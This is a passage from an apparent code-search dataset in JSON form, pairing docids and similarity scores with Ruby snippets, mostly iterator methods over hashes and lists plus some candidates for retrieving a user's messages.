"score": "0.59194446", "text": "def each_key_unsorted\n @records.each {|k,v| yield k}\n end", "title": "" }, { "docid": "28295a253cb61988d38362d7d29fa102", "score": "0.59141165", "text": "def each_record\n keys.sort.each {|key| yield @records[key]}\n end", "title": "" }, { "docid": "d0a93b5b0359e47fa647040787d5512f", "score": "0.58940834", "text": "def each\n @data.each do |section, hash|\n hash.each do |key, value|\n yield [section, key, value]\n end\n end\n end", "title": "" }, { "docid": "4b6796f49c2c1ea65cc8bb873bc6571f", "score": "0.5886684", "text": "def each(&blk)\n list.each do |key|\n yield key, get(key)\n end\n end", "title": "" }, { "docid": "77501a4ac1c556c56ec70854cb7efd77", "score": "0.588473", "text": "def each\n\n return unless block_given?\n self.to_h.each { |k, v| yield(k, v) }\n end", "title": "" }, { "docid": "0771c375f48480d813bfe69951c0e777", "score": "0.58675957", "text": "def each\n @yaml.each do |k, v|\n yield k, v\n end\n end", "title": "" }, { "docid": "d0feee2d463e72371c48261be92198f8", "score": "0.5866496", "text": "def each\n keys = self.keys\n keys.each do |key|\n # here is the magic that gives us the key and value of the handset\n # all the way up to the fallbacks end. \n # Call the pass block with the key and value passed\n yield key, self[key]\n end\n end", "title": "" }, { "docid": "3b945d4ab430616b68bdb753e11a9f2b", "score": "0.5862752", "text": "def each\n return enum_for(__method__) unless block_given?\n @raw.each_pair do |key, value|\n yield key, value\n end\n self\n end", "title": "" }, { "docid": "f4ccf5c0f4a7c0642a8e1aca42c8c5a9", "score": "0.58500725", "text": "def each\n @mset.each_pair do |key, group| \n group.to_a.each do |value|\n yield [key, value]\n end\n end \n end", "title": "" }, { "docid": "45e27667c5cba2e13e97aca39fe60da2", "score": "0.5849097", "text": "def _each\n delete_harmful!\n convert_eol_to_unix!\n transliterate_whole_file_to_utf8!\n skip_rows!\n\n Engine.new(local_copy.encoded_io, csv_options).each do |row|\n\n some_value_present = false\n\n if not headers\n\n # represent the row as an array\n array = row.map do |v|\n v = v.to_s\n if not some_value_present and not keep_blank_rows and v.present?\n some_value_present = true\n end\n v\n end\n if some_value_present or keep_blank_rows\n yield array\n end\n\n else\n\n # represent the row as a hash\n hash = ::ActiveSupport::OrderedHash.new\n row.each do |k, v|\n next unless k.present?\n v = v.to_s\n if not some_value_present and not keep_blank_rows and v.present?\n some_value_present = true\n end\n hash[k] = v\n end\n if some_value_present or keep_blank_rows\n yield hash\n end\n\n end\n end\n ensure\n local_copy.cleanup\n end", "title": "" }, { "docid": "7083f045103d4935219be0c693153d9f", "score": "0.5844583", "text": "def each(&block)\n if block_given?\n @fog_wrapper.each do |key|\n yield file(key)\n end\n else\n to_enum(:each)\n end\n end", "title": "" }, { "docid": "4636eedf173b08bdbbe7ce8eee2ae22a", "score": "0.58333826", "text": "def each_pair(&_block)\n @data.each_pair do |key, value|\n validate!(key, value)\n yield(key, value)\n end\n end", "title": "" }, { "docid": "bbeb02bca6cc8debaed9b7e5893c2bc3", "score": "0.58254206", "text": "def each(&proc)\n # When key and value are expected separately. Should actually be calling each_pair anyway\n if proc.arity == 2\n each_pair(proc)\n else\n enum = getMapNames\n while enum.has_more_elements\n key = enum.next_element\n proc.call [key, getObject(key)]\n end\n end\n end", "title": "" }, { "docid": "86c5a4eeffde47aa4f86e3d7b8ae5a06", "score": "0.5805869", "text": "def each\n @values.each do |value|\n yield value\n end\n end", "title": "" }, { "docid": "ee4d92d82336883720bd722f63c0d3ce", "score": "0.58033437", "text": "def each_pair(&block)\n @hash.each_pair(&block)\n end", "title": "" }, { "docid": "7b99bb98b6836aa12ef2be7d5e77da49", "score": "0.57974786", "text": "def each(*args, &block)\n @hash.each(*args, &block)\n end", "title": "" }, { "docid": "8d896755bc1d6e864922d3f6055e293d", "score": "0.57906556", "text": "def each(&block)\n hash.each(&block)\n end", "title": "" }, { "docid": "9003e9d988fae1dad5382765627a2809", "score": "0.5788822", "text": "def each_pair(&block)\n @entries.each_pair(&block)\n end", "title": "" }, { "docid": "74f572f5fe1475215003d0b398d37210", "score": "0.57836205", "text": "def each\n copy = self_new { |a, b| compare(a, b) }\n @keys[1..size].each { |key| copy.insert key }\n\n yield copy.delete until copy.is_empty?\n end", "title": "" }, { "docid": "6401ee32948ddb4a7c4650352a7d96c2", "score": "0.57461435", "text": "def each_value\n each { |k, v| yield v }\n end", "title": "" }, { "docid": "6401ee32948ddb4a7c4650352a7d96c2", "score": "0.57461435", "text": "def each_value\n each { |k, v| yield v }\n end", "title": "" }, { "docid": "49c824c77639e577b4d5622b42dad62e", "score": "0.57411534", "text": "def each()\n @root.each(\"\") do |k, v|\n yield(k, v)\n end\n end", "title": "" }, { "docid": "80dffee2f35d8af096af01df76735710", "score": "0.5724626", "text": "def each_key_value(*values)\n each_key do |sym|\n value = values.shift\n\n raise ArgumentError, \"Missing key argument for #{sym.inspect}\" unless value\n raise ArgumentError, \"Empty key value for #{sym}\" if value.empty?\n\n yield sym, value\n end\n\n raise ArgumentError, \"Extra key arguments\" unless values.empty?\n end", "title": "" }, { "docid": "95fbcdb6873b6bca3c2a85ba3b0789d0", "score": "0.57211936", "text": "def each_key\n @keys.values.each do |k|\n yield k\n end\n end", "title": "" }, { "docid": "17653614fae22e56ebe0595ee6945d2c", "score": "0.57110906", "text": "def each(&block)\n @hash.each(&block)\n end", "title": "" }, { "docid": "e00be2b24b8db185b632d12addd470b9", "score": "0.57073087", "text": "def each()\n cur = @first\n while cur\n yield cur.value\n cur = cur.next\n end\n end", "title": "" }, { "docid": "d74ecbd1e5a1545f0904fd7068346006", "score": "0.56992686", "text": "def each\n @hash.each_key { |o| yield(o) }\n self\n end", "title": "" }, { "docid": "1d542a88059d31f9326ab087d959fcf2", "score": "0.5691555", "text": "def each\n return to_enum(:each) unless block_given?\n loop do\n pair = next_pair\n break if pair.nil?\n yield(pair[0], pair[1])\n end\n end", "title": "" }, { "docid": "0ab54832f03b80cd20d244a1ccfd5197", "score": "0.5686572", "text": "def each_hash\n if block_given?\n while row = next_hash\n yield row\n end\n else\n self.enum_for(:each_hash)\n end\n end", "title": "" }, { "docid": "61707df45aeecae87158a54b63e6c797", "score": "0.56833196", "text": "def peach\n self.each_pair { |k, v| puts \"#{k.inspect} => #{v.inspect}\" }\n end", "title": "" }, { "docid": "0b1c51ad80999bacaf97aa69edb5f740", "score": "0.5674478", "text": "def each\n\t\taux = @head\n\t\twhile (aux != nil) do\n\t\t\tyield aux[\"value\"]\n\t\t\taux = aux[\"next\"]\n\t\tend\n\tend", "title": "" }, { "docid": "9b423464ccd5b8e243ed71d5b054f9fb", "score": "0.56667274", "text": "def each_key_val(io, &block)\n return to_enum(__method__, io) unless block\n each_line(io) do |line|\n line.chomp!\n (key, val) = line.split('=',2)\n block.call( [key, (val=='' ? nil : val)] )\n end\n end", "title": "" }, { "docid": "d2b9d9833faff7316d7344ac9fd47070", "score": "0.5660905", "text": "def each\n\t\t\t@order.each { |key|\n\t\t\t\tyield(key, @storage[key]) if @storage.key?(key)\n\t\t\t}\n\t\tend", "title": "" }, { "docid": "9187a32c575cd8f144952c91d30626f8", "score": "0.5640817", "text": "def each # yields: name, value\n @fields.each { |i|\n yield [i.name, i.value]\n }\n end", "title": "" }, { "docid": "70cacf78ae4071be4cea422eb1e16fdd", "score": "0.563418", "text": "def each(&block)\n return to_enum :each unless block_given?\n @data.keys.each(&block)\n end", "title": "" }, { "docid": "3c8112bb06eb2c06eb1b266dfa434020", "score": "0.56340235", "text": "def each(&blk)\n _values.each(&blk)\n end", "title": "" }, { "docid": "f0a6ccc1041c33b19367a15bf6ba7ed7", "score": "0.5611605", "text": "def each_file(&block)\n @files.keys.each do |file|\n yield(file)\n end\n end", "title": "" }, { "docid": "bb180f100d214bb294b6077bdfa0835e", "score": "0.56061643", "text": "def each\n @params.keys.each { |key| yield key, self[key] }\n end", "title": "" }, { "docid": "599572119639bb05c39048e01cc06afe", "score": "0.5597731", "text": "def each_attribute # :yields: key\n @attrs.each_key { |k| yield(k) }\n end", "title": "" }, { "docid": "c77e2a7427a54d1f6d26c83f95723514", "score": "0.55906427", "text": "def each( &block ) # :yield: member, value\n\t\t\t@hash.each( &block )\n\t\tend", "title": "" }, { "docid": "42d9a7320e1f710942faeea1472dc4a4", "score": "0.5588564", "text": "def each\n\t\t\t@enumvalues ||= {}\n\t\t\t@enumvalues.each_value { |enumvalue| yield enumvalue }\n\t\tend", "title": "" }, { "docid": "4cc1bcc18741cb17e72fe4a5a37944b0", "score": "0.5575654", "text": "def each(&block)\n self.keys.each{|k| block.call([k, self[k]])}\n self\n end", "title": "" }, { "docid": "bddd7fa64ce80daa168b78008a894a46", "score": "0.55647314", "text": "def each_value(key)\n return to_enum(:each_value, key) unless block_given?\n\n each_pair do |k,v|\n yield v if k == key\n end\n end", "title": "" }, { "docid": "9cf84395ba900ccc82d6d54c92d45474", "score": "0.55565554", "text": "def each\n\t\t\titer = @packet.params.key_set.iterator\n\t\t\twhile iter.has_next\n\t\t\t\tyield iter.next.to_s\n\t\t\tend\n\t\tend", "title": "" }, { "docid": "2e9c2d1e226220bb4a0cb9c26ca100a8", "score": "0.5550289", "text": "def each\n return to_enum(:each) unless block_given?\n\n seek(:head)\n yield current_entry while move_next\n end", "title": "" }, { "docid": "f0913d1391a342430c35e2ced37dc63e", "score": "0.55406743", "text": "def each_pair(&proc)\n enum = getMapNames\n while enum.has_more_elements\n key = enum.next_element\n proc.call key, getObject(key)\n end\n end", "title": "" }, { "docid": "3704ba318570ce0d660634dd79d24a39", "score": "0.55301344", "text": "def each(&block)\n list = []\n self.keys.sort.each do |sidx|\n list << [sidx, self[sidx]]\n end\n list.each(&block)\n end", "title": "" }, { "docid": "3704ba318570ce0d660634dd79d24a39", "score": "0.55301344", "text": "def each(&block)\n list = []\n self.keys.sort.each do |sidx|\n list << [sidx, self[sidx]]\n end\n list.each(&block)\n end", "title": "" }, { "docid": "3704ba318570ce0d660634dd79d24a39", "score": "0.55301344", "text": "def each(&block)\n list = []\n self.keys.sort.each do |sidx|\n list << [sidx, self[sidx]]\n end\n list.each(&block)\n end", "title": "" }, { "docid": "0521afe7045305d37d7c460f2fa2cfdf", "score": "0.55192834", "text": "def each(&block)\n @db.each_key{|key|yield key, @db[key]}\n end", "title": "" }, { "docid": "c966d9597d522ab0a179a0bf27f90e86", "score": "0.5517656", "text": "def each_key(&block)\n keys.each(&block)\n end", "title": "" }, { "docid": "5997c07b29555ac69bf9b3c9b5a9c098", "score": "0.54975814", "text": "def each\n @references_to_keys_map.each do |rkey, ref|\n key = ref.object\n yield(key, @values[rkey]) if key\n end\n end", "title": "" }, { "docid": "778e68b05cfc0e1552133590332eec53", "score": "0.54971653", "text": "def each\n yield get until eof?\n end", "title": "" }, { "docid": "06197263ba15359ad054e222ff9ff948", "score": "0.5495425", "text": "def each(&block)\n @hash.each {|k,v| block.call k,v }\n end", "title": "" }, { "docid": "d592ff43860cc2378b3f2472b69ff9ce", "score": "0.54800314", "text": "def each &block\n db.iterinit\n loop do\n key = db.iternext or break\n val = db[key]\n yield key, val\n end\n end", "title": "" }, { "docid": "23622b4c6b045b954f87527dc88577d5", "score": "0.5475996", "text": "def each_entry(&block)\n return enum_for(:each_entry) unless block_given?\n\n # XXX We have to re-open the archive on every call because libarchive is designed for streaming and doesn't\n # support iterating across the archive multiple times.\n archive = ::Archive::Reader.open_filename(file.path)\n while (entry = archive.next_header(clone_entry: true))\n yield Entry.new(archive, entry)\n end\n\n self\n ensure\n archive&.close\n end", "title": "" }, { "docid": "3a17f41d2a956b37d827b3aad7a97e1d", "score": "0.54734355", "text": "def each(&block)\n @by_name.values.each(&block)\n end", "title": "" }, { "docid": "251b4df0b3149f4d727915fd0cdc6b0d", "score": "0.5470571", "text": "def each_key\n\t record = @head\r\n\t while record.next && record.next != @tail\r\n\t\t record = record.next\n\t\t yield record.key\r\n\t end\r\n end", "title": "" }, { "docid": "2e6c01456a76b00fcf27f3e92a46068b", "score": "0.5443637", "text": "def each\n @resources.each_pair {|k, v| yield(k, v)}\n end", "title": "" }, { "docid": "c3fff0a9cb31f7d0e662ec759fb28321", "score": "0.54410607", "text": "def each\n return enum_for(:each) unless block_given?\n\n item = @head\n\n while item do\n yield item.value\n item = item.next\n end\n end", "title": "" }, { "docid": "ac911e1e5dd326e68e46380e435f266f", "score": "0.54388195", "text": "def each\n @tokens.each {|name, value| yield name, value }\n end", "title": "" }, { "docid": "ceea0386382a7d705c4d8474e37b6615", "score": "0.5436436", "text": "def each_value(parents, src, &block)\n src.each do |k, v|\n if v.is_a?(ActiveSupport::OrderedHash)\n each_value parents + [k], v, &block\n else\n yield parents + [k], v\n end\n end\n end", "title": "" }, { "docid": "25e67f512c24363b34fada5f5b4b0752", "score": "0.5433135", "text": "def each_pair\n @mset.each_pair do |key, group|\n case group\n when Array \n group.each do |value|\n yield key, value\n end\n else\n yield key, group\n end\n end\n end", "title": "" }, { "docid": "1ca27b8f90dc21f407c09251c626c7e9", "score": "0.54158735", "text": "def each(&block)\n @entries.each(&block)\n end", "title": "" }, { "docid": "29517ee55347bf147c2656f2bedeaf27", "score": "0.5393715", "text": "def each(&block)\n self.entries.each(&block)\n end", "title": "" }, { "docid": "2973c2733a45ea0cfc8b42b900d31ab0", "score": "0.5381402", "text": "def each(&block)\n @metadata.each_value(&block)\n end", "title": "" }, { "docid": "2973c2733a45ea0cfc8b42b900d31ab0", "score": "0.5381402", "text": "def each(&block)\n @metadata.each_value(&block)\n end", "title": "" }, { "docid": "2973c2733a45ea0cfc8b42b900d31ab0", "score": "0.5381402", "text": "def each(&block)\n @metadata.each_value(&block)\n end", "title": "" }, { "docid": "15b6d6f77f012b05487cdb1f1a39e3a7", "score": "0.5379013", "text": "def each\n current = @head\n while current != nil\n yield current.value\n current = current.next\n end\n end", "title": "" }, { "docid": "8fad20d841afa76e036dbe7f7cc78729", "score": "0.53758657", "text": "def each(&blk)\n @values.each(&blk)\n end", "title": "" }, { "docid": "edf5039cd77bf0244a51255f19bdcc2d", "score": "0.53757066", "text": "def sort_each_pair(&block)\n\t\tnew_hash = int_sort\n\t\tnew_hash.each do |info|\n\t\t\tyield info.key, info.value if block_given?\n\t\tend\n\tend", "title": "" }, { "docid": "6f732a43c3100eca7cc4845189030aa1", "score": "0.5374649", "text": "def each_pair(&block); end", "title": "" } ]
63c76db1e88deeb56e039af19da0ead9
Get all the messages for a given user. Notice that rather than returning a list of hash, we concat the list elements into a single string.
[ { "docid": "767af515ed6c3e88f7d903e9e79b01c5", "score": "0.5808198", "text": "def get_message\n db = SQLite3::Database.new(@fn)\n db.busy_timeout=1000 # milliseconds?\n db.transaction(:immediate)\n stmt = db.prepare(\"select user_id,msg_text from msg where user_id = ? order by id\")\n ps = Proc_sql.new();\n stmt.execute(@user_id){ |rs|\n ps.chew(rs)\n }\n stmt.close\n db.close()\n results = \"\"\n ps.loh.each { |hr|\n results.concat(\"\\n#{hr['msg_text']}\")\n }\n return results\n end", "title": "" } ]
[ { "docid": "079248a6e17fe3143a950e0238faecb9", "score": "0.74370843", "text": "def get_messages(user_id)\n hash_list = SQLQuery.new.get('messages', ['id']).where.open_.if('reciever_id', user_id).and.if('sender_id', @id).close_.or.open_.if('reciever_id', @id).and.if('sender_id', user_id).close_.order('timestamp').send\n list = []\n hash_list.each do |hash|\n list << Message.get(hash['id'], 'friend')\n end\n return list\n end", "title": "" }, { "docid": "016b301c185409ee38b75f2401d591f7", "score": "0.713433", "text": "def messages\n Ahoy::Messages.by_user_id.key(self._id)\n end", "title": "" }, { "docid": "1172e4c6d946569b031a3fcb98b4afa1", "score": "0.6941586", "text": "def user_messages\n @user_messages ||= begin\n log_items ||= []\n druids_loaded = 0\n\n # Each line in the log is assumed to be of the format \"<keyword> <string>\", where <keyword> is a phrase from\n # the en.yml file and <string> is a more informative message. Note that <string> may be empty for certain exceptions.\n each_line do |log_line|\n split_line = log_line.split(/\\s+/, 2)\n\n # A few of the log messages are considered 'too technical' and will not be displayed\n next unless !split_line.empty? && USER_MESSAGES.include?(split_line[0])\n\n # Ignore lines that don't conform to the format\n current_hash = {}\n case split_line.length\n when 2\n druids_loaded += 1 if split_line[0] == \"argo.bulk_metadata.bulk_log_job_save_success\"\n current_hash[split_line[0]] = split_line[1]\n log_items.push(current_hash)\n when 1\n current_hash[log_line.strip] = nil\n log_items.push(current_hash)\n end\n end\n log_items.push(\"argo.bulk_metadata.bulk_log_druids_loaded\" => druids_loaded)\n log_items\n end\n end", "title": "" }, { "docid": "64dbc1f9a826d29e70188171525c5909", "score": "0.6856243", "text": "def all_messages\n self.users_messaged + self.users_messaged_by\n end", "title": "" }, { "docid": "5c3bda945fa4c75df8c8bfe999ec3fd7", "score": "0.67951554", "text": "def html_user_message_list(item)\n item.user_message.join\n end", "title": "" }, { "docid": "a76b54d6205a1983e917e557da062162", "score": "0.6684887", "text": "def list_all_messages\n user = params[:user]\n logger.info \"<-------#{user}------------->\"\n userObj = AdminUser.find(user)\n if userObj.type == \"Coordinator\"\n coordinatorApiSetting = CoordinatorApiSetting.find_by_coordinator_id(user)\n @telerivetPhoneNumber = coordinatorApiSetting.telerivet_phone_number\n else\n @telerivetPhoneNumber = userObj.telerivet_phone_number\n end\n @telerivetPhoneNumber = remove_state_code_from_message_number(@telerivetPhoneNumber)\n @converstaions = Conversation.where(\"final_from_number LIKE ?\", @telerivetPhoneNumber).order(\"msg_time DESC\").uniq.paginate(:page => params[:page], :per_page => 50)\n @withNames = []\n @phone_number = []\n @converstaions.each do |converstaion|\n phoneNumber = remove_state_code_from_message_number(converstaion.phone_number)\n if !@phone_number.include?(phoneNumber)\n @phone_number << phoneNumber\n i = Instructor.find_by_mobile(phoneNumber)\n if !i.nil?\n converstaion.from_number = i.name.capitalize \n end\n @withNames << converstaion\n end\n end\n end", "title": "" }, { "docid": "53ae95c01b3cdf2143a80770d84212c8", "score": "0.66744787", "text": "def user_messages(user_name)\n\n end", "title": "" }, { "docid": "02388bec068eae8ee58fa762c1447168", "score": "0.6666315", "text": "def messages\n return to_enum(__callee__) unless block_given?\n loop do\n user = Users.instances.sample\n message = { user_id: user.id, text: user.text }\n yield message\n end\n end", "title": "" }, { "docid": "05cd4e5a4eb81c5b6c9ee70f53c82bdc", "score": "0.65961736", "text": "def get_messages()\n hash_list = SQLQuery.new.get('groups_messages', ['*']).where.if('group_id', @id).send\n list = []\n hash_list.each do |hash|\n list << Message.get(hash['id'], 'group')\n end\n return list\n end", "title": "" }, { "docid": "76b13a091752b278742d25f80019fff4", "score": "0.65490514", "text": "def full_messages\n results = []\n @messages.each{ |key, values| values.each{ |value| results.push(\"#{key} #{value}\") }}\n results\n end", "title": "" }, { "docid": "15af4d763dbf19d69c6ff947e0e86d3d", "score": "0.6397456", "text": "def messages\n @conn.examine(@full_name)\n @conn.uid_search(['ALL']).map do |uid|\n Message.new(@conn, uid)\n end\n end", "title": "" }, { "docid": "c8921bd8630e1e7ceb64a1619f514b06", "score": "0.63396305", "text": "def index\n messages = Message.where(to_user:-2,msg_type:\"System\")\n\n if params[:user] == \"null\"\n messages += Message.where(to_user:-1,msg_type:\"System\")\n messages.delete nil\n else\n user = User.select(:id).where(mailbox:params[:user]).take[:id]\n messages += Message.where(to_user:0,msg_type:\"System\")\n if !user.nil?\n messages += Message.where(to_user:user)\n messages.delete nil\n end\n end\n @messages = []\n messages.each do |msg|\n @messages.push msg.render_data\n end\n end", "title": "" }, { "docid": "ffd621bcde7cf6f77d435122e62e13bd", "score": "0.62973714", "text": "def messages\n Joined[:user_id => session[:user].id, :room_id => request[:room]].save\n\n msgs = \"\"\n Message.filter(:room_id => request[:room]).order(:id).each do |msg|\n msgs << \"<p>#{msg.user.name}: #{msg.message}</p>\"\n end\n\n msgs\n end", "title": "" }, { "docid": "fa220fe398d82c48bd1628949101a074", "score": "0.62917376", "text": "def get_messages\n @con = Conversation.find(params[:id])\n \n @msgs = []\n \n if (params[:last].nil?)\n @msgs = @con.get_messages_limit(params[:from], params[:to])\n else\n time = params[:last].to_f / 1000.0\n puts time\n time = Time.at(time)\n puts \"PARAMS LAST: \" + time.to_s\n @msgs = @con.get_messages_newer(time)\n end\n \n @users = {}\n \n @con.get_users.each do |u|\n @users[u.id] = User.find(u.id)\n end\n \n @temp = []\n @msgs.each do |msg|\n m = {}\n sender = @users[msg.sender_id]\n m[:body] = msg.body\n m[:sender] = sender.name + \" \" + sender.surname\n m[:sender_id] = sender.id\n m[:date] = msg.created_at\n m[:own] = msg.sender_id.to_i == session[:user_id]\n m[:img] = User.find(msg.sender_id).avatar_url(:display)\n @temp << m\n end\n @msgs = @temp\n \n respond_to do |format|\n format.json {\n render json: @msgs.to_json.html_safe\n }\n end\n end", "title": "" }, { "docid": "4afae230d44d661f57f11956736f1808", "score": "0.6289318", "text": "def all_messages\n @entries.find_all{ |entry_| entry_.type == :message }\n end", "title": "" }, { "docid": "337b958655f237929aa68a7bb43346c7", "score": "0.6231935", "text": "def all_related_users\n recipients = []\n recipients += users\n recipients += watchers\n recipients = recipients.uniq.compact\n\n return recipients\n end", "title": "" }, { "docid": "140f82b45198befef964d29d00bfe645", "score": "0.6217264", "text": "def messages_with(user)\n Message.where(\"(receiver_id = ? AND sender_id = ?)\n OR (receiver_id = ? AND sender_id = ?)\",\n user.id, id, id, user.id)\n end", "title": "" }, { "docid": "464bacd5aafae44eee13ead9a9dd36d8", "score": "0.6210064", "text": "def messages_for_user_id(user_id, count: 1, **attrs)\n attrs[:userId] = user_id\n attrs[:count] = count\n messages(attrs)\n end", "title": "" }, { "docid": "1e9768875734354805efa4c863cb6404", "score": "0.6209373", "text": "def get\n return messages\n end", "title": "" }, { "docid": "d3dd679c9135a7c25a9fd07b448140e5", "score": "0.62006307", "text": "def all\n ret = []\n @data.each { |user_data| ret.push user_data[:user] }\n ret\n end", "title": "" }, { "docid": "75e04e38a2063f8234b77a7e1329a550", "score": "0.6199914", "text": "def messages_sent_and_received(user)\n\n # Get all messages sent by the specified user\n sent = Message.find_all_by_sender_id(user.id)\n\n # Get all messages received by the specified user\n received = Message.find_all_by_recipient_id(user.id)\n\n # Return all sent and received messages, sorted in reverse\n # chronological order\n messages = smush(sent, received)\n messages.sort! { |x,y| y.created_at <=> x.created_at }\n\n return messages\n end", "title": "" }, { "docid": "c9f910dcd1e964d8265190e639a9370b", "score": "0.61993414", "text": "def messages\n @user = User.find(params[:id])\n @sent = Message.sent_from(@user).ordered\n @received = Message.sent_to(@user).ordered\n end", "title": "" }, { "docid": "3ad261d57bf1e9f6c44955dc151414c8", "score": "0.6195234", "text": "def users\n [User.find(self.last_message.receiver_id), User.find(self.last_message.sender_id)]\n end", "title": "" }, { "docid": "2a0dac98c73965a8f60c1b90808a823d", "score": "0.6192798", "text": "def display_all_users\n #returns the users hash. Ideally this is in a better list format, next step to research better formatting\n return $users\n end", "title": "" }, { "docid": "9101a0727a096285172ebfad4213d044", "score": "0.61889154", "text": "def index\n\t\t@messages = Message.find_by_sql(\"select * from messages where find_in_set('\"+current_user.id.to_s+\"', to_user);\")\n\t\trespond_with(@messages) \n\tend", "title": "" }, { "docid": "cbec81ed08a509b8c820dba7df508c9e", "score": "0.61818284", "text": "def list_of_commmessages_for_user(user_id,opts={})\n query_param_keys = [\n :user_id,\n :start_time,\n :end_time\n ]\n\n form_param_keys = [\n \n ]\n\n # verify existence of params\n raise \"user_id is required\" if user_id.nil?\n # set default values and merge with input\n options = underscored_merge_opts(opts,\n :user_id => user_id\n )\n\n # resource path\n path = path_replace(\"/v1/comm_messages\",\n )\n headers = nil\n form_params = select_params(options, form_param_keys)\n query_params = select_query_params(options, query_param_keys)\n\n RemoteCollection.new(connection, CommMessage, path, query_params)\n \n end", "title": "" }, { "docid": "33ef448e5aacc1add38575671daf9ff0", "score": "0.6145339", "text": "def messages(opts = {})\n messages = connection.get(connection.build_url(\"messages\", opts)).body\n messages.map!{|hash| hash.values.first}\n end", "title": "" }, { "docid": "6909e382c270483dd7e4d62b15fe2fb0", "score": "0.613392", "text": "def index\n @user = current_user\n @messages_from_user = Message.where(from: @user.id)\n @messages_to_user = Message.where(to: @user.id)\n\n @all_messages = []\n\n @messages_from_user.each do |message|\n @all_messages << message\n end\n\n @messages_to_user.each do |message|\n @all_messages << message\n end\n\n @conversations = []\n @all_messages.each do |message|\n @conversations << message.from if message.from != @user.id\n @conversations << message.to if message.to != @user.id\n end\n\n @conversations.uniq!.map!(){ |id| User.find(id) }\n end", "title": "" }, { "docid": "16f0b5e7a259e31b573841a42fe0f473", "score": "0.6124717", "text": "def get_messages(start_time=30.days.ago)\n messages={}\n self.get_program_players.each do |pp|\n messages[pp.program.id]=pp.get_messages(start_time) unless pp.program.nil?\n end\n return messages\n end", "title": "" }, { "docid": "a0f74035662863f0460efbd09eddcd9c", "score": "0.6105003", "text": "def index\n @messages = @user.messages\n end", "title": "" }, { "docid": "59ce625e23c928ee9439e54b085f7a58", "score": "0.6101371", "text": "def inbox_list\n @challenge_messages = ChallengeMessage.find_inbox_by_user(current_user.id)\n end", "title": "" }, { "docid": "79c54a499c24e32e8256bcef3f5d6d49", "score": "0.6091299", "text": "def get_messages(user_id, opts = {})\n data, _status_code, _headers = get_messages_with_http_info(user_id, opts)\n return data\n end", "title": "" }, { "docid": "1a7a2465a1979d45296042abb0c50448", "score": "0.60826117", "text": "def all\n @messages\n end", "title": "" }, { "docid": "848aa81434392cc81caee1ab4eb3b14e", "score": "0.6065526", "text": "def all_messages\n\t\tget_messages nil\n\tend", "title": "" }, { "docid": "4f6bbbbe4840de10bd5a6ec64cf76b5d", "score": "0.60612375", "text": "def index\n @messages = Message.where(to_user: current_user)\n end", "title": "" }, { "docid": "e5d5b895e1f2c25f8f0fdecc1045502f", "score": "0.6058801", "text": "def full_messages\n full_messages = []\n each_full do |message|\n full_messages << message\n end\n full_messages\n end", "title": "" }, { "docid": "71715bb132e57dc77a9f1be259e3c3cf", "score": "0.6055335", "text": "def get_all_client_messages(client_id:)\n response = get(\"clients/#{client_id}/messages\")\n\n PhysitrackApi::Response.from(response)\n end", "title": "" }, { "docid": "11fad328d55b0a468ed6139976ce78b1", "score": "0.6054185", "text": "def get_messages\n @connection.select(@in_folder)\n # Fetch only un-fetched messages if sync_messages option is set, all otherwise\n query = @sync_messages ? 'UNKEYWORD $fetched' : ['ALL']\n @connection.uid_search(query).each do |uid|\n msg = @connection.uid_fetch(uid,'RFC822').first.attr['RFC822']\n begin\n process_message(msg)\n add_to_processed_folder(uid) if @processed_folder\n rescue\n Rails.logger.info(\"Fetcher: Message processing failed:\")\n Rails.logger.info($!)\n handle_bogus_message(msg)\n end\n # Mark message as fetched\n @connection.uid_store(uid, \"+FLAGS\", ['$fetched']) if @sync_messages\n # Mark message as deleted \n @connection.uid_store(uid, \"+FLAGS\", [:Seen, :Deleted]) unless @keep_messages\n end\n end", "title": "" }, { "docid": "4b8c7c52e192c4ea560303892a8b29ca", "score": "0.6032719", "text": "def get_plain_text_for_users(users)\n data=\"\"\n \n users.each do |user| \n data += t('user.user_name') + \": \" + user.user_name + \"\\n\" +\n t('user.user_type') + \": \" + user.type + \"\\n\" +\n t('user.first_name') + \": \" + user.first_name + \"\\n\" +\n t('user.last_name') + \": \" + user.last_name + \"\\n\\n\" \n end\n \n return data\n end", "title": "" }, { "docid": "0e101a3fb9d372175993690749a662a5", "score": "0.60314727", "text": "def get_messages(ticket, counter, user_messages_only=false)\n\t\t\tdo_api :get, 'room/get_messages', { :session => @session, :ticket => ticket, :counter => counter, :user_messages_only => user_messages_only }\n\t\tend", "title": "" }, { "docid": "01648f6ff8d44522c52f90a587add8b6", "score": "0.6029287", "text": "def messages\n Message.all\n end", "title": "" }, { "docid": "20f4de660d40a700e18f611316343734", "score": "0.6013084", "text": "def messages\n @user = User.find(params[:id])\n @sent = Message.sent_from(@user).ordered\n @received = Message.sent_to(@user).ordered\n render json: { user: @user, sent: @sent, received: @received }\n end", "title": "" }, { "docid": "5cdd696dc0b199ce0ccd33b2e6d21baa", "score": "0.59969205", "text": "def getMessages()\r\n @client.api.account.messages.list\r\nend", "title": "" }, { "docid": "1ef83bfadcd046f518b6904f7037cd87", "score": "0.59915334", "text": "def messages\n \n @messages ||= current_user.messages\n \n end", "title": "" }, { "docid": "9d154c68b6f47f10f8e355d4325ca92e", "score": "0.59896815", "text": "def full_chat_with(user)\n outgoing = sent_messages.includes(:message_recipient)\n .where(message_recipients: { recipient: user })\n incoming = received_messages.select { |m| m.creator_id == user.id }\n (outgoing + incoming).sort_by!(&:created_at)\n end", "title": "" }, { "docid": "de327e3c8b9bd5076931022ceedf0672", "score": "0.59828264", "text": "def index\n @messages = current_user.messages\n end", "title": "" }, { "docid": "96989754b741dde09f9abe2f9631d74d", "score": "0.59631217", "text": "def all_users\n allofem = @redis.keys(\"DismalTony:UserIdentity:*\")\n @redis.pipelined { allofem.map! { |a| @redis.hgetall(a) } }\n allofem.map!(&:value)\n allofem.map! { |a| serialize_in(a) }\n allofem\n end", "title": "" }, { "docid": "b0a8db1dc7b65b99005e65faeb72eb11", "score": "0.5954352", "text": "def index\n @messages = @current_user.messages\n end", "title": "" }, { "docid": "8b7cfcdda70c8c7b6607e48ef591e023", "score": "0.5952632", "text": "def messages\n @messages = []\n\n # If has parameter last_msg_time, then use the method append_messages\n if params[:last_msg_time] && params[:last_msg_time]!=\"undefined\" then\n append_messages\n return\n else\n # Search Message for current_user as sender\n Message.where(sender_id: current_user.id, receiver_id: params[:talk_to]).find_each do |message|\n @messages.append(message)\n end\n # Search Message for current_user as receiver\n Message.where(sender_id: params[:talk_to], receiver_id: current_user.id).find_each do |message|\n @messages.append(message)\n end\n # Sort the result messages by time\n @messages.sort_by! do |message|\n message.created_at\n end\n @talk_to_name = 